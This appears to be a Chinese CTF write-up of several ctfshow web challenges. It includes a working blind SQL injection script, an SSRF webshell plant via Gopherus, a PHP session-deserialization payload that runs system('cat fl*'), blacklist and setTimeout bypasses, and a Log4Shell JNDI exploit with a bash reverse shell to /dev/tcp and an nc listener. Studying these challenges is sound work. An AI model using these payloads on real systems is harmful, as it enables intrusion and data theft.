payload = "1' or (select (select table_name from information_schema.tables where table_schema=database() limit 3,1) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"
#print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r =requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 2)):
flag += chr(c - 1)
print('tablename = ' + flag.lower())
break

#get content
def get_ColumnName():
flag = ''
for j in range(0, 10): #blind inject
for c in range(0x20,0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (select column_name from information_schema.columns where table_name='FL2333G' limit 0,1) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"
#print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r =requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 2)):
flag += chr(c - 1)
print('column name = ' + flag.lower())
break

#get content
def get_value():
flag = ''
for j in range(0, 50): #blind inject
for c in range(0x20,0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (select FLLLLLAG from FL2333G) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"
#print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r =requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 2)):
flag += chr(c - 1)
print('flag = ' + flag.lower())
break

print ("start database sql injection...")
databaseName_len()
get_databaseName()
get_tableName()
get_ColumnName()
get_value()

红包题第九弹

|425
给了一个登录界面,点击login会跳到一个check.php,随便写用户名和密码,发现有给一个reurl参数
所以猜测有ssrf

这里使用ssrf专用的工具Gopherus https://github.com/tarunkant/Gopherus
我用的kali安装,修改了一下install.sh

1
2
3
4
5
#!/bin/bash
python3 -m pip install argparse --break-system-packages
python3 -m pip install requests --break-system-packages
chmod +x gopherus.py
ln -sf $(pwd)/gopherus.py /usr/local/bin/gopherus

然后写入一句话木马

得到poc,把poc做个url编码,然后用bp发送

用蚁剑连接之后在根目录找到flag
|475

红包题 葵花宝典

|525
又是一个登录平台
注册之后登录直接拿到flag

红包题 辟邪剑谱

和上一题一样的登录界面,但是注册之后不能登录。在url中访问www.zip可以下载源代码
checklogin.php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
require_once '/inc/inc.php';

$user_name = trim($_POST['user_name']);
$user_password = trim($_POST['user_password']);

if (preg_match("/select|update|drop|union|and|or|sys|substr|sleep|from|where|0x|hex|bin|char|file|order|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\[|\}|\]|\;|\:|\'|\"|\<|\,|\>|\.|\?/i", $user_name)) {
die("stop hack!");
}

if (preg_match("/select|update|drop|union|and|or|sys|substr|sleep|from|where|0x|hex|bin|char|file|order|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\[|\}|\]|\;|\:|\'|\"|\<|\,|\>|\.|\?/i", $user_password)) {
die("stop hack!");
}

$data = $db->select("admin", ["username", "password"], ["username[=]" => "admin");

foreach ($data as $d) {
if ($d['password'] === $user_password) {
$_SESSION['user'] = $user_name;
die("login success!<br><hr>flag is $flag");
}
}
header("location:index.php");
?>

这个代码中固定了用户名是admin,这里要用到sql的where特性
在 MySQL 中,WHERE 子句在比较字符串时会忽略字符串末尾的空格。例如,当执行 SELECT * FROM table WHERE column = 'cs '; 时,MySQL 会将其视为 'cs' 进行比较,只要 column 列的值为 'cs' 就会匹配成功。这一特性可以用于绕过一些输入过滤机制。

  • CHAR 和 VARCHAR 列有最大长度限制:当给 CHARVARCHAR 列赋值时,如果值的长度超过了列的最大长度,就会对值进行裁剪以使其适合列的长度。

  • 严格 SQL 模式的影响

    • 严格模式下:如果被裁掉的字符不是空格,会产生错误并禁用值的插入。
    • 非严格模式下:不管被裁掉的字符是什么,都会直接截断值,不会产生错误。

但是如果我这个时候禁用了严格 SQL 模式,那么就会直接截断,不管后面是什么,这个才是这道题的解法。

设置非严格模式,配置文件加上 sql_mode ="" 就行
|500
所以注册的时候用户用admin然后很多空格,密码随便输入,这样就可以登录admin

【nl】难了

题目源码:

1
2
3
4
5
6
7
8
9
10
<?php  
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
     echo shell_exec($_GET[1]);
}
else{
     echo "hack!!!";
}
?>

这里用1传入参数,但是长度小于4,先用ls指令看看有什么文件,发现flag文件特别长secretsecret_ctfshow_36dddddddddd.php,还有一个zzz.php
结合题目标题,猜测需要使用nl指令,但是不能直接用nl 因为不能直接输入文件名让nl执行。所以现在需要用到linux中的一个技巧,*通配符会执行所有的文件

1
2
3
4
5
6
7
┌──(root㉿kakeru)-[~/tmp/aa]
└─# ls
nl

┌──(root㉿kakeru)-[~/tmp/aa]
└─# *
a: command not found

比如我这里有两个文件,输入*,linux就会执行 a 和 nl,现在我们只要让nl再flag文件前面,然后用*执行就好,所以先创建一个nl文件

1
2
https://09260a7d-e390-4428-87a8-e800f51f3670.challenge.ctf.show/?1=>nl
https://09260a7d-e390-4428-87a8-e800f51f3670.challenge.ctf.show/?1=*

这样就可以通过执行nl 看flag文件,但是这里还是没法直接看,我们就把输出的结果重定向到到一个文件a中?1=*>a
最后访问url/a就可以得到flag

一切看起来都那么合情合理

题目描述:程序员二黑临走前植入了一个后门,你能帮公司找出来吗?

如果随便登录一个账号密码就会提示登录失败,没有其他的回显. 题目提示和后门有关,这里再去www.zip下载源码
index.php:

1
2
3
4
5
6
7
8
9
10
11
12
 error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}

?>

这里设置了一个SESSION值limit,这个SESSION我们可以控制。我们就可以通过$_SESSION的值传递我们的payload入服务器的/tmp/sess_xxx生成我们构造的序列化payload
inc.php中的关键代码:

1
2
3
4
5
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}

代码定义了一个User类,将利用file_put_contents()函数写入类属性值,现在我们就要利用session进行序列化执行User类的file_put_contents()函数写入一句话,得到flag
check.php:

1
2
3
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);

所以总的利用思路是利用index.php中的SESSION写入payload,而SESSION的数据会被存在服务器的/tmp/sess_xxx中,再用inc.php中的ini_set(‘session.serialize_handler’, ‘php’)来反序列化服务器上的/tmp/sess_xxxx文件,执行inc.php里面User类的file_put_contents()函数写入一句话
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$a =new User("1.php","<?php system('cat fl*');?>");
echo base64_encode(serialize($a));//进行base64编码,因为index.php是进行了base64解码
?>

直接进行序列化生成的是O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:26:"<?php system('cat fl*');?>";s:6:"status";N;} 这个payload前面加上分割符|,然后进行base64

1
2
3
4
┌──(root㉿kakeru)-[~/tmp]
└─# echo '|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:26:"<?php system('cat fl*');?>";s:6:"status";N;}' | base64
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7
czoyNjoiPD9waHAgc3lzdGVtKGNhdCBmbCopOz8+IjtzOjY6InN0YXR1cyI7Tjt9Cg==

最后用bp打开抓包

再给/inc/inc.php发包

但是有一个问题就是我们写入的 session 马上又会被删除,使用我们利用 bp 不断的发包然后访问 check.php 或者 inc/inc.php 都可以
修改cookie的值,然后log-1.php中查看

红包题 耗子尾汁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-11-30 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-11-30 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
function CTFSHOW_36_D($a,$b){
$dis = array("var_dump","exec","readfile","highlight_file","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents","");
$a = strtolower($a);
if (!in_array($a,$dis,true)) {
forward_static_call_array($a,$b);
}else{
echo 'hacker';
}
}
CTFSHOW_36_D($a,$b);
echo "rlezphp!!!";
hackerrlezphp!!!

这里过滤了很多函数
forward_static_call_array() 是 PHP 的一个内置函数,主要用于在运行时动态地调用一个静态方法,并且允许使用数组作为参数传递。它的作用类似于 call_user_func_array(),但适用于静态方法调用。
如果$a不在数组的系列名单中,就会执行 forward_static_call_array 方法。
构造 a 为一个命令,b 作为数组传递参数:payload:?a=\system&b []=ls 使用反斜杠是因为这是在其他的类调用的系统函数 system,所以加上 \,也能绕过前面黑名单的验证:

接着b[]=cat flag.php,在源码中可以看到flag

新年好?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const express = require('express');
const fs = require('fs');
const flag = require('./flag')
const app = express();

app.get('/flag', function (req, res) {
function getflag(flag) {
res.send(flag);
}
let delay = 10 * 1000;
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(getflag, delay,flag);
setTimeout(() => {
clearTimeout(t);
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./app.js'));
});

app.listen(3000, '0.0.0.0', () => {
console.log('Start listening')
});

这个代码是一个使用 Express.js 编写的简单 Web 服务器,监听 3000 端口,并提供两个路由:/flag/
setTimeout(getflag, delay,flag); 在 delay 秒之后,会执行 getflag 方法,并且会将 flag 当做参数进行传入
浏览器内部使用 32 位带符号的整数,来储存推迟执行的时间。这意味着 setTimeout 最多只能推迟执行 2147483647 毫秒(24.8 天)超过这个时间会发生溢出。
如果溢出了之后,相当于从 0 开始,整数上溢,那么相当于我们可以控制只要在 1000 之内就可以
payload:/flag?delay=2147483648

红包一


用f12打开调试模式,搜索flag出现一个getflag的函数,在控制台输入getflag()就出现flag

Log4j 复现

题目描述:Log4j 复现,师傅们别到处 RCE 了

一个登录框,登录内容有回显
这题考查的是log4j Log4j 漏洞又名 “Log4Shell”,是 2021 年 11 月在 Apache Log4j 日志记录库发现的一个严重漏洞。Log4Shell 本质上让黑客完全控制运行未打补丁 Log4j 版本的设备。
利用JNDIExploit工具 
使用方式

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,(bash -i >& /dev/tcp/IP/12345 0>&1)的base64编码}|{base64,-d}|{bash,-i}" -A "IP"

本机监听12345端口

1
nc -lnvp 12345

payload:

1
?user=$%7Bjndi:rmi://ip:1099/whsy9k%7D

注:本篇的wp非原创,本人也为ctf新手,仅供参考学习。